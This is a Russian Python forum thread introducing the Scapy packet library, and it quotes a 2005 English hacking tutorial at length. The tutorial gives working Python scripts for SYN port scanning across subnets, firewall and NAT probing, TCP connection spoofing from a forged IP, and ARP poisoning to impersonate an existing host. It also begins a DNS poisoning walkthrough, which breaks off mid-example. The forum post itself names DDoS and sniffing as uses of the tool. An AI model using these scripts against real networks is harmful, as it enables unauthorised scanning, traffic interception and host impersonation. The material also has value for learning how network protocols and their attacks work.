Latest posts on Scipy работа с tcp/ip на низком уровне topichttps://python.su/forum/topic/22/2006-06-14T17:33:48+03:00Веб-технологии :: Web :: Scipy работа с tcp/ip на низком уровне
2006-06-14T17:33:48+03:00dev6586Спасибо! Прога действительно супер! Настоящая hack-консоль!
Веб-технологии :: Web :: Scipy работа с tcp/ip на низком уровне
2006-06-03T15:40:37+03:00slav0nic64Сайт: <strong><a href="http://www.secdev.org/projects/scapy">http://www.secdev.org/projects/scapy</a></strong> (примеры работы смотрите тамже)<br/>скачать последнюю версию можно с <strong><a href="http://www.secdev.org/projects/scapy/files/scapy.py">http://www.secdev.org/projects/scapy/files/scapy.py</a></strong><br/><br/>Scipy - интерактивное средство работы с пакетами. Позволяет создавать , расшифровывать и перехватывать различные пакеты. Работает через raw sockets (поэтому требует root'a) и не работает под виндой (или это только у меня), также для полной функциональности желательно иметь модули:<br/>Gnuplot<br/>pyx<br/>pcap<br/>dnet<br/>Crypto<br/>хотя без них работать будет<br/><br/>имея всё это добро возможно создавать icmp пакеты (аля ping),делать traceroute (выводя всё в pdf или созавая граф), реализовывать ддос-атаки В), организовать сниффинг и arp-spoofing (и просто spoofing) и много другое. Думаю модуль (а он кстати single файл)<br/><br/>кроме примеров и документации имеется интересная статья:<br/><a href="http://hackaholic.org/papers/blackmagic.txt">http://hackaholic.org/papers/blackmagic.txt</a><br/><blockquote>Packet Wizardry: Ruling the Network with Python<br/><br/>By Rob klein Gunnewiek aka detach<br/><a href="http://hackaholic.org/">http://hackaholic.org/</a><br/><br/>v2005-08-09<br/>(This paper is subject to change.. new techniques will probably be added<br/>over time)<br/><br/>Changes:<br/><br/>v2005-08-09: Some fixes<br/><br/>v2005-04-05: Typo's and errata<br/><br/>v2005-03-28: Initial paper<br/><br/>Foreword<br/>=x=x=x=x=<br/><br/>In this tutorial I will cover techniques involving packet construction and<br/>manipulation to master the network from the Python command line. No prior<br/>knowledge of Python is required, however I guess that when you're as<br/>excited about this as I am, you will want to start learning it right away.<br/>However, prior knowledge of common network attacks is recommended.<br/><br/>In this tutorial you will get a practical jumpstart into hacking in the<br/>network area. The lack of alot of practical information on hacking at the<br/>network level makes me guess many hackers have little knowledge about the<br/>subject. Maybe you know the basics of TCP/IP and know how to use Nmap.<br/>Maybe you can even do some tricks such as Idle scanning using Hping2. But<br/>what exactly have you coded using Libnet? Ever coded a basic sniffer using<br/>Libpcap?<br/><br/>Anyway, regardless of your knowledge in the area of network attacks and<br/>reconnaissance, this guide would be very interesting.<br/><br/><br/>Introduction<br/>=x=x=x=x=x=x=<br/><br/>In order for you to decide whether you should be reading this tutorial,<br/>I'll start by giving a quick example to demonstrate the power we are<br/>dealing with here;<br/><br/>I want to code a portscanner, I want it to scan an entire C-Class network <br/>for enumerating all hosts running that have port 80 listening. I fire up<br/>python and start entering commands;<br/><br/> >>> p=IP(dst=“hackaholic.org/24”)/TCP(dport=80, flags=“S”)<br/> >>> sr(p)<br/><br/>That's it! Now let's see which hosts have port 80 listening;<br/><br/> >>> results = _<br/> >>> for pout, pin in results:<br/> … if pin.flags == 2:<br/> … print pout.dst<br/> … <br/> 24.132.156.5<br/> 24.132.156.19<br/> 24.132.156.24<br/> 24.132.156.72<br/> 24.132.156.102<br/> 24.132.156.107<br/> 24.132.156.121<br/> 24.132.156.141<br/> 24.132.156.150<br/> 24.132.156.148<br/> 24.132.156.204<br/> 24.132.156.211<br/> >>> <br/><br/>Welcome to the black magic box called Scapy! What I just did; I first<br/>created a packet which was sent to the /24-subnet that <a href="http://hackaholic.org" rel="nofollow">hackaholic.org</a> is<br/>connected to and set the TCP header to destination port 80 and the SYN<br/>flag.<br/>Now, as you should know, the SYN flag is used to initiate a connection. A<br/>reply of SA (SYN/ACK) means the port is listening, a RA (RESET/ACK) means<br/>it is closed, and finally no response means the host is down or filters<br/>packets.<br/><br/>After constructing the packet I ask Scapy to unleash its black magic and<br/>emit the packets. The results are then dissected in the for-loop and the<br/>destination IP addresses of hosts that replied SA are listed.<br/><br/>Scapy is the excellent tool written Philippe Biondi, available for download<br/>here: <a href="http://www.cartel-securite.fr/pbiondi/projects/scapy/">http://www.cartel-securite.fr/pbiondi/projects/scapy/</a> (Update 2: site<br/>moved to <a href="http://www.secdev.org/projects/scapy/%29.">http://www.secdev.org/projects/scapy/).</a> Even though<br/>this tutorial should provide most of the documentation you'd need, you<br/>could find more documentation there. Make sure you also study his<br/>presentation on Scapy. Even though scapy itself is good, his documentation <br/>is not fabulous, alot you have to figure out yourself.<br/><br/><br/>Scapy Setup<br/>=x=x=x=x=x=<br/><br/>Okay, I hope the introducing example has caught your attention and<br/>motivates you to get through this section where I explain the boring<br/>details of programming Python/Scapy.<br/><br/>First, let me tell you that I'm no Python expert. I'm a practical guy, I<br/>don't like to learn things that aren't practical from the start. Me<br/>learning about Python is solely the result of my wanting to use Scapy<br/>effectively. I have no textbook to look things up so some of this stuff<br/>may have been misunderstood by me and plain wrong.<br/><br/>Okay, let's first set up the Scapy environment. Install the binary Python<br/>release distributed with your GNU/Linux distribution (non-Linux users are<br/>hereby on their own). I've encountered that you should atleast have Python<br/>2.2 or higher for Scapy to even run.Type ‘python’ on your prompt and check<br/>whether it works:<br/><br/> detach@luna:~$ python<br/> Python 2.3.5c1 (#2, Jan 27 2005, 10:49:01) <br/> on linux2<br/> Type “help”, “copyright”, “credits” or “license” for more information.<br/> >>> if 1+1 == 2:<br/> … print “Thank goodness!”<br/> … <br/> Thank goodness!<br/> >>> <br/><br/>What I like most about Python is that you can pretty much type anything<br/>that you think might work and it just works. There are some basic rules in<br/>Python you should know about though:<br/><br/>1) Statement blocks are not inside { } or BEGIN, END keywords, they are<br/> recognized by proper indentation; 4 spaces and empty lines.<br/><br/>2) No semicolons necessary as statement seperators (but can be used if you<br/> want multiple statements on one line<br/><br/>3) No parentheses necessary in conditional statements such as IF and WHILE,<br/> conditional statements end with : after which the expression is put<br/><br/>The most important and probably most cool feature of python is that it has<br/>native interactive mode. Yes, that's the mode you just used. You enter<br/>“python” and you get the “>>> ” prompt. You can easily correct mistakes or<br/>look something up before scripting. Most of all it feels even more powerful<br/>and looks even more cool.. it's the toolkit hackers have dreamed about I<br/>guess.<br/><br/>Now that we have Python running we go on with scapy. Download scapy from<br/><a href="http://www.cartel-securite.fr/pbiondi/projects/scapy/.">http://www.cartel-securite.fr/pbiondi/projects/scapy/.</a> At the moment of<br/>writing this is version 0.9.17beta. Now extract the Scapy source and run<br/>the program as root:<br/><br/> detach@luna:~/lab/scapy-0.9.17$ sudo python ./scapy.py<br/> Welcome to Scapy (0.9.17.1beta)<br/> >>> <br/><br/>You can also let scapy log everything you type by giving an added filename<br/>as added argument on the command line.<br/><br/><br/>Scapy in a Nutshell<br/>=x=x=x=x=x=x=x=x=x=<br/><br/>I'll start with a list of what I think are the most significant features of<br/>Scapy;<br/><br/>* Scapy has a send, receive and a send&receive mode.<br/><br/>* Scapy can send packets at layer 2 (datalink) and layer 3 (network)<br/><br/>* Scapy has several highlevel functions such as p0f() and arpcachepoison<br/> that can do most of what common security tools do<br/><br/>* Responses are easy to dissect and reuse<br/><br/>* It is easy<br/><br/>* Scapy's downside is that it is relatively slow, which may make some uses<br/> impossible. Therefor it's most suitable for reconnaisance, not for DoS<br/> for example<br/><br/>The most important commands/functions in scapy that you need to remember<br/>are the ls() and lsc() functions. You will use them alot.<br/><br/> >>> ls()<br/> Dot11Elt : 802.11 Information Element<br/> Dot11 : 802.11<br/> SNAP : SNAP<br/> IPerror : IP in ICMP<br/> BOOTP : BOOTP<br/> PrismHeader : abstract packet<br/> Ether : Ethernet<br/> TCP : TCP<br/> Dot11ProbeResp : 802.11 Probe Response<br/> TCPerror : TCP in ICMP<br/> Dot11AssoResp : 802.11 Association Response<br/> Dot11ReassoReq : 802.11 Reassociation Request<br/> Packet : abstract packet<br/> UDPerror : UDP in ICMP<br/> ISAKMP : ISAKMP<br/> Dot11ProbeReq : 802.11 Probe Request<br/> NTP : NTP<br/> Dot11Beacon : 802.11 Beacon<br/> DNSRR : DNS Resource Record<br/> STP : Spanning Tree Protocol<br/> ARP : ARP<br/> UDP : UDP<br/> Dot11ReassoResp : 802.11 Reassociation Response<br/> Dot1Q : 802.1Q<br/> ICMPerror : ICMP in ICMP<br/> Raw : Raw<br/> IKETransform : IKE Transform<br/> IKE_SA : IKE SA<br/> ISAKMP_payload : ISAKMP payload<br/> LLPPP : PPP Link Layer<br/> IP : IP<br/> LLC : LLC<br/> Dot11Deauth : 802.11 Deauthentication<br/> Dot11AssoReq : 802.11 Association Request<br/> ICMP : ICMP<br/> Dot3 : 802.3<br/> EAPOL : EAPOL<br/> Dot11Disas : 802.11 Disassociation<br/> Padding : Padding<br/> DNS : DNS<br/> Dot11Auth : 802.11 Authentication<br/> Dot11ATIM : 802.11 ATIM<br/> DNSQR : DNS Question Record<br/> EAP : EAP<br/> IKE_proposal : IKE proposal<br/> >>> <br/><br/>I will later explain how to use this information.<br/><br/>The lsc() function lists all available functions (of Scapy):<br/><br/> >>> lsc()<br/> sr : Send and receive packets at layer 3<br/> sr1 : Send packets at layer 3 and return only the first answer<br/> srp : Send and receive packets at layer 2<br/> srp1 : Send and receive packets at layer 2 and return only the<br/> first answer<br/> srloop : Send a packet at layer 3 in loop and print the answer<br/> each time<br/> srploop : Send a packet at layer 2 in loop and print the answer<br/> each time<br/> sniff : Sniff packets<br/> p0f : Passive OS fingerprinting: which OS emitted this TCP SYN<br/> arpcachepoison : Poison target's cache with (your MAC,victim's IP) couple<br/> send : Send packets at layer 3<br/> sendp : Send packets at layer 2<br/> traceroute : Instant TCP traceroute<br/> arping : Send ARP who-has requests to determine which hosts are<br/> up<br/> ls : List available layers, or infos on a given layer<br/> lsc : List user commands<br/> queso : Queso OS fingerprinting<br/> nmap_fp : nmap fingerprinting<br/> report_ports : portscan a target and output a LaTeX table<br/> dyndns_add : Send a DNS add message to a nameserver for “name” to<br/> have a new “rdata”<br/> dyndns_del : Send a DNS delete message to a nameserver for “name”<br/> >>> <br/><br/>Other important generic functions are:<br/><br/>* Net()<br/>* IP(), ICMP(), TCP(), Ether(), etc.<br/><br/>Now these IP(), ICMP(), etc. functions are very interesting. You can look<br/>them up using the ls() command and you can use them to construct their<br/>headers. For example;<br/><br/> >>> ip = IP()<br/> >>> icmp = ICMP()<br/> >>> ip<br/> <IP |><br/> >>> icmp<br/> <ICMP |><br/> >>> ip.dst = “192.168.9.1”<br/> >>> icmp.display()<br/> ——<br/> type = echo-request<br/> code = 0<br/> chksum = 0x0<br/> id = 0x0<br/> seq = 0x0<br/> >>> sr1(ip/icmp) <br/> Begin emission:<br/> …*Finished to send 1 packets.<br/> <br/> Received 4 packets, got 1 answers, remaining 0 packets<br/> <IP version=4L ihl=5L tos=0x0 len=28 id=16713 flags= frag=0L ttl=64<br/> proto=ICMP chksum=0xa635 src=192.168.9.1 dst=192.168.9.17 options='' |<ICMP<br/> type=echo-reply code=0 chksum=0xffff id=0x0 seq=0x0 |<Padding<br/> load='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00|)\x0c\xa4'<br/> |>>><br/> >>> _.display()<br/> ——<br/> version = 4L<br/> ihl = 5L<br/> tos = 0x0<br/> len = 28<br/> id = 16713<br/> flags = <br/> frag = 0L<br/> ttl = 64<br/> proto = ICMP<br/> chksum = 0xa635<br/> src = 192.168.9.1<br/> dst = 192.168.9.17<br/> options = ''<br/> ——<br/> type = echo-reply<br/> code = 0<br/> chksum = 0xffff<br/> id = 0x0<br/> seq = 0x0<br/> ——<br/> load =<br/> ‘\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00|)\x0c\xa4’<br/> >>> <br/><br/>To create such a packet can be done in many ways. Shortest is like this;<br/><br/> >>> p = IP(dst=“192.168.9.1”)/ICMP()<br/> >>> sr1(p)<br/> Begin emission:<br/> …*Finished to send 1 packets.<br/> <br/> Received 4 packets, got 1 answers, remaining 0 packets<br/> <IP version=4L ihl=5L tos=0x0 len=28 id=16714 flags= frag=0L ttl=64<br/> proto=ICMP chksum=0xa634 src=192.168.9.1 dst=192.168.9.17 options='' |<ICMP<br/> type=echo-reply code=0 chksum=0xffff id=0x0 seq=0x0 |<Padding<br/> load='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x16\x89\xdb\x88'<br/> |>>><br/> >>> <br/><br/>To find out which fields each protocol packet can have, use ls() with an<br/>argument:<br/><br/> >>> ls(TCP)<br/> sport : ShortField = (20)<br/> dport : ShortField = (80)<br/> seq : IntField = (0)<br/> ack : IntField = (0)<br/> dataofs : BitField = (None)<br/> reserved : BitField = (0)<br/> flags : FlagsField = (2)<br/> window : ShortField = (0)<br/> chksum : XShortField = (None)<br/> urgptr : ShortField = (0)<br/> options : TCPOptionsField = ({})<br/> >>> <br/><br/>So you can set any of these fields, you can also see what their default<br/>values are. For example, the source port by default is set to 20, the<br/>destination port to 80.<br/><br/>When you print a packet you only see the modified fields. Like this:<br/><br/> >>> i = IP()<br/> >>> i<br/> <IP |><br/> >>> i.dst = “192.168.9.1”<br/> >>> i<br/> <IP dst=192.168.9.1 |><br/> >>> i.src = “192.168.9.2”<br/> >>> del(i.dst)<br/> >>> i<br/> <IP src=192.168.9.2 |><br/> >>> <br/><br/>Ofcourse, to display all fields use the i.display() method. I like this<br/>alot about scapy, you can easily see what you modified this way, you aren't<br/>bothered with fields you are not interested in. For example, I really don't<br/>wanna see what TCP options are enabled, cause I don't use TCP options in<br/>most attacks. If I do use them, then show them. Excellent.<br/><br/>You can also use ls() to display an existing packet:<br/><br/> >>> ls(i)<br/> version : BitField = 4 (4)<br/> ihl : BitField = None (None)<br/> tos : XByteField = 0 (0)<br/> len : ShortField = None (None)<br/> id : ShortField = 1 (1)<br/> flags : FlagsField = 0 (0)<br/> frag : BitField = 0 (0)<br/> ttl : ByteField = 64 (64)<br/> proto : ByteEnumField = 0 (0)<br/> chksum : XShortField = None (None)<br/> src : SourceIPField = ‘192.168.9.2’ (None)<br/> dst : IPField = ‘127.0.0.1’ ('127.0.0.1')<br/> options : IPoptionsField = ‘' (’')<br/> >>> <br/><br/>You see both the default value, and the overloaded value. When building a<br/>packet you can also add a payload, like this:<br/><br/> >>> p = IP(dst=“192.168.9.1”)/TCP(dport=22)/“AAAAAAAAAA”<br/> >>> p<br/> <IP proto=TCP dst=192.168.9.1 |<TCP dport=22 |<Raw load='AAAAAAAAAA' |>>><br/> >>> <br/> <br/>To send packets at layer 2 you need to use the sendp, srp, srploop and<br/>srp1 functions. The ‘p’ seems to stand for PF_PACKET, which is the<br/>interface of Linux to allow sending layer 2 packets. <br/><br/>The packets are comprised of headers and the packet's datatype is list. You<br/>can check this using Python ‘type’ function:<br/><br/>To see the raw packet as a string can be useful to understand dissection:<br/><br/> >>> packet = IP(dst=“192.168.0.1”)/TCP(dport=25)<br/> >>> raw_packet = str(packet)<br/> >>> type(raw_packet)<br/> <type ‘str’><br/> >>> IP(raw_packet)<br/> <IP version=4L ihl=5L tos=0x0 len=40 id=1 flags= frag=0L ttl=64 proto=TCP<br/> chksum=0xf36c src=192.168.6.17 dst=192.168.0.1 options='' |<TCP sport=20<br/> dport=25 seq=0L ack=0L dataofs=5L reserved=16L flags=S window=0<br/> chksum=0x2853 urgptr=0 |>><br/> >>> TCP(raw_packet)<br/> <TCP sport=17664 dport=40 seq=65536L ack=1074197356L dataofs=12L<br/> reserved=0L flags=PUC window=1553 chksum=0xc0a8 urgptr=1 options= |><br/> >>> dissected_tcp = TCP(raw_packet)<br/> >>> dissected_tcp<br/> <TCP sport=17664 dport=40 seq=65536L ack=1074197356L dataofs=12L<br/> reserved=0L flags=PUC window=1553 chksum=0xc0a8 urgptr=1 options= |><br/> >>> raw_packet<br/> ‘E\x00\x00(\x00\x01\x00\x00@\x06\xf3l\xc0\xa8\x06\x11\xc0\xa8\x00\x01\x00\x14\x00\x19\x00\x00\x00\x00\x00\x00\x00\x00P\x02\x00\x00(S\x00\x00’<br/> >>> <br/><br/>Building your own Scapy toolset<br/>=x=x=x=x=x=x=x=x=x=x=x=x=x=x=x=<br/><br/>Let's start with some reconnaissance.<br/><br/>Here's the portscanning technique, only now implemented as a script,<br/>non-interactively:<br/><br/> detach@luna:~/lab/scapy-0.9.17$ cat pscan.py<br/> #!/usr/bin/env python<br/><br/> import sys<br/> from scapy import *<br/> conf.verb=0<br/><br/> if len(sys.argv) != 2:<br/> print “Usage: ./pscan.py <target>”<br/> sys.exit(1)<br/><br/> target=sys.argv<br/><br/> p=IP(dst=target)/TCP(dport=80, flags=“S”)<br/> ans,unans=sr(p, timeout=9)<br/><br/> for a in ans:<br/> if a.flags == 2:<br/> print a.src<br/> <br/>Okay, let's try it:<br/><br/> detach@luna:~/lab/scapy-0.9.17$ sudo ./pscan.py 192.168.9.0/24<br/> 192.168.9.1<br/> 192.168.9.2<br/> 192.168.9.11<br/> 192.168.9.14<br/><br/>See how powerful this is? Next I'll build a traceroute/firewalk -like<br/>program which I have discussed in Dealing with Firewalls<br/>(<a href="http://hackaholic.org/papers/firewalls.txt%29.">http://hackaholic.org/papers/firewalls.txt).</a> What we do is, we play with<br/>the TTL (Time To Live) and a specific port. This way we can see whether NAT<br/>is used to forward ports.<br/><br/>What we need to do for this is:<br/><br/>- Detect the minimum TTL to reach our target<br/>- Have a port to test on our target host<br/>- Discover whether this port is listening on target host or is NATed<br/><br/>For this we need to use sr1() as we want to send a packets in a loop until<br/>we get a response other than a ICMP error. We also need to keep track of<br/>the current TTL. Then this minimum TTL to reach the host is set when<br/>sending a TCP SYN to a specific port. If we get an SYN/ACK (or perhaps<br/>RST/ACK) we assume this port is not NATed, otherwise it is.<br/><br/>Well let's first make a program to find out the TTL to reach our target;<br/><br/> $ sudo python ./scapy.py<br/> Welcome to Scapy (0.9.17.1beta)<br/> >>> ttl = 0<br/> >>> def mkpacket():<br/> … global ttl<br/> … ttl = ttl + 1<br/> … p = IP(dst=“<a href="http://hackaholic.org" rel="nofollow">hackaholic.org</a>”, ttl=ttl)/ICMP()<br/> … return p<br/> … <br/> >>> res = sr1(mkpacket())<br/> Begin emission:<br/> …*Finished to send 1 packets.<br/> <br/> Received 4 packets, got 1 answers, remaining 0 packets<br/> >>> while res.type == 11:<br/> … res = sr1(mkpacket())<br/> … <br/> Begin emission:<br/> .Finished to send 1 packets.<br/> *<br/> Received 2 packets, got 1 answers, remaining 0 packets<br/> Begin emission:<br/> .Finished to send 1 packets.<br/> *<br/> Received 2 packets, got 1 answers, remaining 0 packets<br/> Begin emission:<br/> .Finished to send 1 packets.<br/> *<br/> ****** Etcetera,<br/> >>> ttl <br/> 15<br/> >>> <br/><br/>This means at hop 15 we reach our host, or meaning the minimum TTL to reach<br/>the host is 15. Note that the ICMP() call does not require any parameters<br/>as it defaults to icmp-echo-request. If ICMP is blocked (which happens alot<br/>these days), you can instead try other means, such as UDP or just TCP. But<br/>remember we want to map the NAT settings, if you use TCP then use a closed<br/>port. Otherwise; how do you know this port isn't NATed? (Note: even closed<br/>ports can be NATed).<br/><br/>Okay, now we know the distance is 15 we can see which ports are NATed<br/>simply by using the same technique and see if there are differences in TTLs<br/>we need.<br/><br/>Change the above program so that it uses TCP() instead of ICMP() and let it<br/>use dport=80. Let it run, it will probably crash because the last answer<br/>won't be ICMP, but a TCP response which does not have the ‘type’ field. But<br/>this doesn't matter. Just see what the value of ‘ttl’ is and if it is still<br/>15 (as it is on my system), the port is likely not NATed.<br/><br/>Now, to make this more automatic, here's a full script. It takes the<br/>arguments ‘host’ and ‘dport’:<br/><br/> #!/usr/bin/env python<br/> <br/> import sys<br/> from scapy import *<br/> conf.verb=0<br/> <br/> if len(sys.argv) != 3:<br/> print “Usage: ./firewalk.py <target> <dport>”<br/> sys.exit(1)<br/> <br/> dest=sys.argv<br/> port=sys.argv<br/> <br/> ttl = 0<br/> <br/> def mkicmppacket():<br/> global ttl<br/> ttl = ttl + 1<br/> p = IP(dst=dest, ttl=ttl)/ICMP()<br/> return p<br/> <br/> def mktcppacket():<br/> global ttl, dest, port<br/> ttl = ttl + 1<br/> p = IP(dst=dest, ttl=ttl)/TCP(dport=int(port), flags=“S”)<br/> return p<br/> <br/> res = sr1(mkicmppacket())<br/> while res.type == 11:<br/> res = sr1(mkicmppacket())<br/> print “+”<br/> <br/> nat_ttl = ttl<br/> # Since we now know our minimum TTL, we don't need to reset TTL to zero<br/> # We do need to decrease TTL or otherwise mkpacket will increase it again<br/> # which would result in every port being detected as forwarded<br/> ttl = ttl - 1<br/> <br/> res = sr1(mktcppacket())<br/> while res.proto == 1 and res.type == 11:<br/> res = sr1(mktcppacket())<br/> <br/> if res.proto != 6:<br/> print “Error”<br/> sys.exit(1)<br/> <br/> if nat_ttl == ttl: print “Not NATed (” + str(nat_ttl) + “, ” + str(ttl) + “)”<br/> else: print “This port is NATed. firewall TTL is ” + str(nat_ttl) + “, TCP port TTL is ” + str(ttl)<br/> <br/> sys.exit(0)<br/> <br/>Let's see how it goes:<br/><br/> $ sudo ./firewalk.py XX.XXX.XXX.XX 5900<br/> +<br/> +<br/> ****** Etcetera<br/> This port is NATed. Firewall TTL is 10, TCP port TTL is 11<br/> $<br/><br/> $ sudo ./firewalk.py <a href="http://google.com" rel="nofollow">google.com</a> 80<br/> +<br/> +<br/> ****** Etcetera<br/> Not NATed (16, 16)<br/> $<br/><br/>It's much faster than my Hping3 (HTCL) implementation :-D<br/><br/>Well.. in times this script detects that a host is NATed, it is very likely<br/>that it is. If it does not detect a port being forwarded.. this is no<br/>proof. It's not hard to fool this technique by increasing the TTL of every<br/>incoming packet to and from a forwarded port by one. Though I doubt this is<br/>often the case.<br/><br/>Okay. Next thing we do is going to be alot of fun. Most likely many of you<br/>won't understand what I think is so exciting about this. What we're about<br/>to do is to create a TCP connection to a local system on the LAN from a<br/>non-existent IP address. Now, this means we will be spoofing the<br/>connection, only not blind spoofing unfortunately. The use of this is<br/>solely educational. I think it's exciting cause this TCP theory is what I<br/>learned a long time ago and this is the most real example of the TCP<br/>handshake I've ever seen :-). I believe any teacher teaching TCP/IP<br/>networking should use such an example in class instead of all the abstract<br/>theory about the sliding window mechanism and shit :-).<br/><br/>Okay, take a look at this script:<br/><br/> #!/usr/bin/env python<br/><br/> import sys<br/> from scapy import *<br/> conf.verb=0<br/> <br/> if len(sys.argv) != 4:<br/> print “Usage: ./spoof.py <target> <spoofed_ip> <port>”<br/> sys.exit(1)<br/> <br/> target = sys.argv<br/> spoofed_ip = sys.argv<br/> port = int(sys.argv)<br/> <br/> p1=IP(dst=target,src=spoofed_ip)/TCP(dport=port,sport=5000,flags='S')<br/> send(p1)<br/> print “Okay, SYN sent. Enter the sniffed sequence number now: ”<br/> <br/> seq=sys.stdin.readline()<br/> print “Okay, using sequence number ” + seq<br/> <br/> seq=int(seq)<br/> p2=IP(dst=target,src=spoofed_ip)/TCP(dport=port,sport=5000,flags='A',ack=seq+1,seq=1)<br/> send(p2)<br/> <br/> print “Okay, final ACK sent. Check netstat on your target :-)”<br/><br/>When you spoof your IP address, make sure you use an address that is<br/>outside of your local LAN, otherwise your target will start to lookup the<br/>MAC address of the nonexistent sender using ARP. In our case it'll just<br/>assume the spoofed packets came from the router and will address responses<br/>to the router's MAC aswell. But if you need to use an IP of your local<br/>subnet you can solve this by putting the following code right after the<br/>“SYN sent”:<br/><br/> p = ARP()<br/> p.op = 2<br/> p.hwsrc = “00:11:22:aa:bb:cc”<br/> p.psrc = spoofed_ip<br/> p.hwdst = “ff:ff:ff:ff:ff:ff”<br/> p.pdst = target<br/> send(p)<br/> <br/>That's ARP poisoning. (Note that this could be handy too if you want to<br/>spoof a connection from an *EXISTING* IP, cause you can just keep poisoning<br/>your target by telling it that the MAC address has changed; the real host<br/>you are impersonating will not be able to respond cause replies would go to<br/>a nonexistent MAC address. Through such means you could totally impersonate<br/>an online system.)<br/><br/>Okay, let me test:<br/><br/> $ sudo python ./spoof.py 192.168.9.14 123.123.123.123 22<br/> Okay, SYN sent. Enter the sniffed sequence number now: <br/> 231823219<br/> Okay, using sequence number 231823219<br/> <br/> Okay, final ACK sent. Check netstat on your target :-)<br/> $<br/><br/>Now on my target I did netstat twice, before and after I sent the ACK:<br/><br/> tcp 0 0 devil.hengelo.gaast:ssh 123.123.123.123:5000 SYN_RECV <br/> tcp 0 0 devil.hengelo.gaast:ssh 123:123.123.123:5000 ESTABLISHED<br/><br/>So how does this work anyways? Well ofcourse it works as TCP handshake<br/>works. Here's the rules:<br/><br/>- Attacker sends SYN packet with initial sequence number as 0 and<br/> acknowledgement number also 0 to target<br/>- Target's listening port receives SYN, generates a sequence number and<br/> acknowledges our sequence number with the acknowledgement number (seq+1),<br/> 0+1 = 1 and sends the packet to the spoofed IP address<br/>- We sniff the transmitted packet and type in the sequence number. I<br/> sniffed it on the target system itself, otherwise I could adapt the<br/> script to sniff on the network and figure it out himself. The sequence<br/> number is then increased by 1 to become our acknowledgement number. This<br/> number is essential in our final ACK packet to change the TCP state to<br/> ESTABLISHED (otherwise the connection is said to be half open)<br/><br/>This normally could be a security problem, as you can see all trust is in<br/>the sequence number generation of the target side. If we could predict the<br/>sequence numbers it generates, we could exploit any address-based trust<br/>relationship and sometimes even take over or kill existing connections.<br/>In the past TCP sequence number prediction was trivial, but nowadays all<br/>modern operating systems have decent ISN (initial sequence number)<br/>randomization. Ofcourse, any trust relationship like this happening on a<br/>local network would still allow you to sniff where needed. But overal the<br/>attack is dead. Blind connection hijacking is especially something that's<br/>almost impossible. You would need to know even more for example if you<br/>would want to RESET an existing connection:<br/><br/>- The SN of your target/victim<br/>- The 4-tuple destination/source address/port<br/><br/>However, some modern devices such as cheap routers and other kinds of<br/>embedded systems tend to have poor TCP/IP stacks. Such devices like cable<br/>modems, DSL modems, WLAN Access Points could well be vulnerable to old<br/>network attacks. I myself have a US Robotics access point and it exports<br/>its NAT table to the world. For example, <a href="http://ap/natlist.txt:">http://ap/natlist.txt:</a><br/><br/> 0) UDP 0.0.0.0:0 <-> 192.168.123.254:1212, out_port:60005, last_use:32<br/> 1) UDP 0.0.0.0:0 <-> 192.168.123.254:1211, out_port:60004, last_use:32<br/> 2) UDP 0.0.0.0:0 <-> 192.168.123.254:1210, out_port:60003, last_use:32<br/> 3) UDP 0.0.0.0:0 <-> 192.168.123.254:1209, out_port:60002, last_use:45<br/> 4) UDP 0.0.0.0:0 <-> 192.168.123.254:1207, out_port:60001, last_use:17<br/><br/>Pretty horrible huh? It would be trivial to inject packets into existing<br/>UDP “connections” and alot more easy to perform attacks against TCP<br/>connections, provided it's trival to figure out the sequence numbers. In<br/>order to reset (kill) connections all you need is a sequence number of<br/>either side of the connection.<br/><br/>But in general, blind spoofing is dead. Other techniques such as traffic<br/>redirection through ARP poisoning, switch table poisoning are much more<br/>succesful. What is also done alot is DNS spoofing, very effective. Maybe<br/>even routing protocol attacks, but I don't see them happening that often.<br/>But that should all be pretty much possible using Scapy.<br/><br/>I will cover one last example on networking attacks. This time we'll do DNS<br/>poisoning.<br/><br/>First, let's start by sending a DNS query. I tried this and it took me a<br/>while to figure out how this worked (it's the first time I code a DNS<br/>spoofer, let alone craft DNS packets). The thing I overlooked was that DNS<br/>uses 03h (hex) to denote a ‘.’ as in <a href="http://hackaholic.org" rel="nofollow">hackaholic.org</a>. Strange.<br/> ^<br/><br/>*Update*: Philippe Biondi (author of scapy) emailed me that i made the<br/>following mistake here:<br/><br/>“You made a mistake about DNS. You said 0x3 was used instead of a dot. In<br/>fact, DNS breaks names in a list of strings at the dot, and prepend either<br/>the lenght of the string or 0x80|(the offset of the next string).<br/>It happens to be 0x3 for most TLD, like .org.”<br/><br/>Anyways. Scapy says the following about DNS:<br/><br/> >>> ls(DNS())<br/> id : ShortField = 0 (0)<br/> qr : BitField = 0 (0)<br/> opcode : BitEnumField = 0 (0)<br/> aa : BitField = 0 (0)<br/> tc : BitField = 0 (0)<br/> rd : BitField = 0 (0)<br/> ra : BitField = 0 (0)<br/> z : BitField = 0 (0)<br/> rcode : BitEnumField = 0 (0)<br/> qdcount : DNSRRCountField = 0 (None)<br/> ancount : DNSRRCountField = 0 (None)<br/> nscount : DNSRRCountField = 0 (None)<br/> arcount : DNSRRCountField = 0 (None)<br/> qd : DNSQRField = None (None)<br/> an : DNSRRField = None (None)<br/> ns : DNSRRField = None (None)<br/> ar : DNSRRField = None (None)<br/> >>> <br/><br/>Now, from the RFC (1035) I figured out the following fields to be of<br/>interest for sending a DNS query:<br/><br/>ID:This is a 16-bit identifier which your OS uses to distinguish<br/>between queries. This way the OS knows which response belongs to<br/>which query (the response ID will be copied from the ID we send)<br/><br/>QR:Query type (0 means question, 1 means response)<br/><br/>OPCODE:The type of query (4-bits long). 0 means standard query, 1 is<br/>inverse query, 2 is server status request<br/><br/>QDCOUNT: Howmany questions you are going to ask (usually 1)<br/><br/>QD:Request field. The request field consists of 3 fields again;<br/><br/>QNAME:host/domainname (variable length), note: replace ‘.’ with<br/>\x03. For some reason, the QNAME needs to start with a<br/>newline (\n)<br/>QTYPE:2-byte type of query (set to 01)<br/>QCLASS:2-byte class of query (set to 01, Internet)<br/><br/>Every field in the request field must be terminated by a NUL-byte<br/><br/>Okay, let's do it. My local nameserver is 192.168.9.1. The transport<br/>protocol we use is UDP:<br/><br/> >>> i = IP()<br/> >>> u = UDP()<br/> >>> d = DNS()<br/> >>> i.dst = “192.168.9.1”<br/> >>> u.dport = 53<br/> >>> u.sport = 31337<br/> >>> d.id = 31337<br/> >>> d.qr = 0<br/> >>> d.opcode = 0<br/> >>> d.qdcount = 1<br/> >>> d.qd = 